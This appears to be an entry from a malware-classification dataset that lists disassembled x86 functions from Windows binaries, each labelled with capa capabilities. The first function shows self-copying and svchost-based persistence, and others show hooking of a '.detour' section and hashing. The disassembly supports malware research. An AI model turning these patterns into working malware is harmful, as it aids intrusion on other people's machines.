joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._QzqqmhSmlv__BhnaMdegoxf
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._QzqqmhSmlv__BhnaMdegoxf
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._QzqqmhSmlv__BhnaMdegoxf
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._QzqqmhSmlv__BhnaMdegoxf
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._QzqqmhSmlv__BhnaMdegoxf
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x10009f70
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x109c7d14], 0
je 0x10009f89
mov eax, dword [0x109c7d14]
jmp 0x1000a126
mov dword [0x109c7d14], 0x109c7ce4
push 0x28
push 0
push 0x109c7ce4
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x109c7ce4], eax
push str.imagehlp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x109c7ce8], eax
cmp dword [0x109c7ce8], 0
jne 0x10009fcf
xor eax, eax
jmp 0x1000a126
push str.ImagehlpApiVersionEx
mov eax, dword [0x109c7ce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7cec], eax
push str.SymInitialize
mov ecx, dword [0x109c7ce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7cf0], eax
push str.SymSetOptions
mov edx, dword [0x109c7ce8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7cf4], eax
push str.SymGetOptions
mov eax, dword [0x109c7ce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7cf8], eax
push str.SymLoadModule
mov ecx, dword [0x109c7ce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7cfc], eax
push str.SymGetModuleInfo
mov edx, dword [0x109c7ce8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7d00], eax
push str.SymGetSymFromName
mov eax, dword [0x109c7ce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7d04], eax
push str.BindImage
mov ecx, dword [0x109c7ce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x109c7d08], eax
push 8
push 0
lea edx, [ebp - 8]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov word [ebp - 8], 9
cmp dword [0x109c7cec], 0
je 0x1000a0ad
lea eax, [ebp - 8]
push eax
call dword [0x109c7cec]
cmp dword [0x109c7cec], 0
je 0x1000a0bf
movzx ecx, word [ebp - 8]
cmp ecx, 9
jge 0x1000a0da
mov edx, dword [0x109c7ce8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x109c7ce8], 0
xor eax, eax
jmp 0x1000a126
cmp dword [0x109c7cf0], 0
je 0x1000a0f3
push 0
push 0
mov eax, dword [0x109c7ce4]
push eax
call dword [0x109c7cf0]
cmp dword [0x109c7cf8], 0
je 0x1000a121
cmp dword [0x109c7cf4], 0
je 0x1000a121
call dword [0x109c7cf8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, 7
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x109c7cf4]
mov eax, dword [0x109c7d14]
mov esp, ebp
pop ebp
ret
Function at 0x1000aac0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101e0280
push 0x1018c222
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 8], 0
jne 0x1000aafd
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x1000ab33
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x34]
jmp 0x1000ac91
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp dword [edx], 0x4550
je 0x1000ab6b
push 0xbf
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x38]
jmp 0x1000ac91
mov eax, dword [ebp - 0x24]
movzx ecx, word [eax + 0x14]
test ecx, ecx
jne 0x1000ab97
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
jmp 0x1000ac91
mov edx, dword [ebp - 0x24]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x24]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], 0
jmp 0x1000abba
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x28], edx
jae 0x1000ac6b
push str..detour
mov eax, dword [ebp - 0x28]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x20]
add ecx, eax
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
jne 0x1000ac66
mov edx, dword [ebp - 0x28]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x20]
cmp dword [eax + edx + 0xc], 0
je 0x1000ac07
mov ecx, dword [ebp - 0x28]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x20]
cmp dword [edx + ecx + 0x10], 0
jne 0x1000ac09
jmp 0x1000ac6b
mov eax, dword [ebp - 0x28]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + eax + 0xc]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx], 0x30
jb 0x1000ac36
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 4], 0x727444
je 0x1000ac38
jmp 0x1000ac6b
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 8], 0
jne 0x1000ac4c
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ecx + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x40]
jmp 0x1000ac91
jmp 0x1000abb1
mov dword [ebp - 4], 0xffffffff
jmp 0x1000ac84
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100cd0a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x109bb170]
push edi
mov dword [ebp + 8], eax
mov edi, dword [esi + 0x1a40]
cmp dword [edi + 0xbc], 0
jg 0x100cd0de
push 0x587
push str.C:UsersilyaDownloads_shiiitMenuImGuiimgui.h
push str.Size___0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov esi, dword [0x109bb170]
add esp, 0xc
mov ecx, dword [edi + 0xbc]
mov eax, dword [edi + 0xc4]
lea edi, [ebp + 8]
push ebx
mov ebx, 4
mov eax, dword [eax + ecx*4 - 4]
not eax
nop dword [eax]
movzx ecx, byte [edi]
lea edi, [edi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101c1408]
sub ebx, 1
jne 0x100cd100
not eax
pop ebx
cmp dword [esi + 0x1a74], eax
jne 0x100cd12b
mov dword [esi + 0x1a78], eax
cmp dword [esi + 0x1aac], eax
jne 0x100cd13a
mov byte [esi + 0x1ab0], 1
pop edi
pop esi
pop ebp
ret

Function at 0x100cd2c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
cmp dword [esi + 0xbc], 0
jg 0x100cd2e8
push 0x587
push str.C:UsersilyaDownloads_shiiitMenuImGuiimgui.h
push str.Size___0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
mov ecx, dword [esi + 0xbc]
mov edi, 4
mov eax, dword [esi + 0xc4]
lea esi, [ebp + 8]
mov eax, dword [eax + ecx*4 - 4]
not eax
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101c1408]
sub edi, 1
jne 0x100cd302
mov ecx, dword [0x109bb170]
not eax
pop edi
pop esi
cmp dword [ecx + 0x1a74], eax
jne 0x100cd334
mov dword [ecx + 0x1a78], eax
cmp dword [ecx + 0x1aac], eax
jne 0x100cd343
mov byte [ecx + 0x1ab0], 1
pop ebp
ret 4
Function at 0x100cee20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x100cee32
mov dword [edi], 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10003242
mov esi, eax
add esp, 8
test esi, esi
jne 0x100cee4a
pop edi
pop esi
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call ebx
add esp, 4
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
je 0x100cef41
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100cef41
push esi
call ebx
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x100cef41
push 0
push dword [ebp + 0x10]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100cef41
mov eax, dword [0x109bb170]
test eax, eax
je 0x100ceeb0
inc dword [eax + 0x37c]
push dword [0x109bb17c]
mov eax, dword [ebp + 0x14]
add eax, ebx
push eax
call dword [0x103e0d68]
add esp, 8
mov dword [ebp + 0x10], eax
test eax, eax
je 0x100cef41
push esi
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, ebx
je 0x100cef11
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x109bb170]
add esp, 4
test eax, eax
je 0x100ceef7
dec dword [eax + 0x37c]
push dword [0x109bb17c]
mov eax, dword [ebp + 0x10]
push eax
call dword [0x103e0d6c]
add esp, 8
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, dword [ebp + 0x14]
test eax, eax
jle 0x100cef29
push eax
mov eax, dword [ebp + 0x10]
add eax, ebx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test edi, edi
je 0x100cef39
mov dword [edi], ebx
mov eax, dword [ebp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x100e2f40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [0x109bb170]
cmp byte [edi + 0x2e54], 0
lea eax, [edi + 0x28]
jne 0x100e3065
mov ecx, dword [eax]
push ebx
test ecx, ecx
je 0x100e305d
push esi
push 0x101c23dc
push ecx
call fcn.10003242
mov esi, eax
add esp, 8
test esi, esi
je 0x100e3059
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call ebx
add esp, 4
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x100e304f
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100e304f
push esi
call ebx
mov ebx, eax
add esp, 4
mov dword [ebp - 4], ebx
cmp ebx, 0xffffffff
je 0x100e304f
push 0
push dword [ebp - 8]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100e304f
mov eax, dword [0x109bb170]
test eax, eax
je 0x100e2fe5
inc dword [eax + 0x37c]
push dword [0x109bb17c]
push ebx
call dword [0x103e0d68]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x100e304f
push esi
push dword [ebp - 4]
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp - 4]
je 0x100e303b
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, dword [0x109bb170]
test eax, eax
je 0x100e3029
dec dword [eax + 0x37c]
push dword [0x109bb17c]
push ebx
call dword [0x103e0d6c]
add esp, 8
jmp 0x100e3059
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push dword [ebp - 4]
push ebx
call fcn.10003ba7
add esp, 0xc
jmp 0x100e301a
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [edi + 0x28]
pop esi
mov byte [edi + 0x2e54], 1
pop ebx
movss xmm0, dword [edi + 0x2e58]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x100e30b6
subss xmm0, dword [edi + 0x20]
comiss xmm1, xmm0
movss dword [edi + 0x2e58], xmm0
jb 0x100e30b6
mov eax, dword [eax]
test eax, eax
je 0x100e30a5
push eax
call fcn.10002257
add esp, 4
mov dword [edi + 0x2e58], 0
pop edi
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x364], 1
mov dword [edi + 0x2e58], 0
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x101512bf
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [ebx]
mov edi, dword [ebp + 0x10]
cmp edi, 7
ja case.default.0x101511a6
jmp dword [edi*4 + 0x1015133c]
mov ecx, esi
and ecx, 3
sub edi, ecx
sub ecx, 1
je 0x101511e9
sub ecx, 1
je 0x101511d6
sub ecx, 1
jne 0x101511fc
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
mov edx, edi
sar edx, 3
test edx, edx
je 0x1015127e
xor eax, dword [esi]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
mov ecx, eax
movzx eax, cl
shr ecx, 8
mov eax, dword [eax*4 + 0x101d9598]
xor eax, dword [esi + 4]
add esi, 8
xor eax, ecx
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
sub edx, 1
jne 0x10151205
and edi, 7
jmp 0x101511a1
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
xor eax, dword [esi]
movzx ecx, al
shr eax, 8
pop edi
pop esi
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x101d9598]
mov dword [ebx], eax
pop ebx
pop ebp
ret
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
inc esi
movzx edx, byte [esi]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x101d9598]
pop edi
pop esi
mov dword [ebx], eax
pop ebx
pop ebp
ret
Function at 0x1016dea0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019bf30
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10428e00]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push dword [ebp + 8]
call fcn.100028ec
add esp, 4
test eax, eax
je 0x1016dfb6
mov edi, dword [eax + 4]
test edi, edi
je 0x1016dfb6
mov ecx, edi
mov dword [ebp - 0x14], edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1016def0
sub ecx, edx
mov esi, 0x811c9dc5
xor edx, edx
mov dword [ebp - 0x10], ecx
test ecx, ecx
je 0x1016df18
movzx eax, byte [edi + edx]
inc edx
xor eax, esi
imul esi, eax, 0x1000193
cmp edx, ecx
jb 0x1016df07
push esi
lea eax, [ebp - 0x14]
mov ecx, 0x109c7ae4
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.10005042
mov edi, dword [0x109c7ae8]
mov dword [ebp - 0x10], edi
mov ecx, dword [eax + 4]
test ecx, ecx
mov eax, edi
cmovne eax, ecx
cmp eax, edi
je 0x1016dfb6
mov ebx, dword [eax + 0xc]
xor edx, edx
mov esi, 0x811c9dc5
test ebx, ebx
je 0x1016df67
mov edi, dword [eax + 8]
movzx ecx, byte [edi + edx]
inc edx
xor ecx, esi
imul esi, ecx, 0x1000193
cmp edx, ebx
jb 0x1016df53
mov edi, dword [ebp - 0x10]
and esi, dword [0x109c7afc]
mov ecx, dword [0x109c7af0]
lea edx, [ecx + esi*8]
mov ecx, dword [edx]
cmp dword [edx + 4], eax
jne 0x1016df90
cmp ecx, eax
jne 0x1016df88
mov dword [edx], edi
mov dword [edx + 4], edi
jmp 0x1016df98
mov edi, dword [eax + 4]
mov dword [edx + 4], edi
jmp 0x1016df98
cmp ecx, eax
jne 0x1016df98
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax]
dec dword [0x109c7aec]
mov ecx, dword [eax + 4]
push 0x14
push eax
mov dword [ecx], edx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
call fcn.10001794
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10170500
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
mov edx, dword [ebp + 8]
push ebx
mov ebx, ecx
cmp edx, eax
je 0x10170656
mov eax, dword [ebx + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 4]
mov dword [ebp - 4], eax
movzx eax, byte [edx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 9]
push esi
push edi
mov edi, dword [ebx + 0xc]
mov esi, edx
xor ecx, eax
mov dword [ebp - 0x18], edi
movzx eax, byte [edx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 0xc], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.10001794
dec dword [ebx + 8]
add esp, 8
cmp edi, dword [ebp - 0x14]
je 0x101705b9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x10170577
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x1017064c
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
pop edi
mov dword [edx], esi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
cmp ecx, dword [ebp + 8]
jne 0x101705cd
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [edx], eax
jmp 0x101705d0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 4], ecx
cmp esi, eax
je 0x1017064c
nop word [eax + eax]
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.10001794
dec dword [ebx + 8]
add esp, 8
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp - 0x14]
je 0x1017065d
cmp esi, eax
jne 0x10170627
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov dword [ecx + 4], edx
cmp esi, eax
jne 0x101705e0
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x101706f0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
mov edx, dword [ebp + 8]
push ebx
mov ebx, ecx
cmp edx, eax
je 0x10170846
mov eax, dword [ebx + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 4]
mov dword [ebp - 4], eax
movzx eax, byte [edx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 9]
push esi
push edi
mov edi, dword [ebx + 0xc]
mov esi, edx
xor ecx, eax
mov dword [ebp - 0x18], edi
movzx eax, byte [edx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 0xc], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.10001794
dec dword [ebx + 8]
add esp, 8
cmp edi, dword [ebp - 0x14]
je 0x101707a9
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x10170767
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x1017083c
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
pop edi
mov dword [edx], esi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
cmp ecx, dword [ebp + 8]
jne 0x101707bd
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [edx], eax
jmp 0x101707c0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 4], ecx
cmp esi, eax
je 0x1017083c
nop word [eax + eax]
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [ebx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, esi
mov edi, esi
mov esi, dword [esi]
push 0x10
push eax
call fcn.10001794
dec dword [ebx + 8]
add esp, 8
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp - 0x14]
je 0x1017084d
cmp esi, eax
jne 0x10170817
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov dword [ecx + 4], edx
cmp esi, eax
jne 0x101707d0
mov ecx, dword [ebp - 4]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x43b667
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x43b3c1
sub esi, 1
or ebx, ebx
call fcn.0043b6a1
or esi, esi
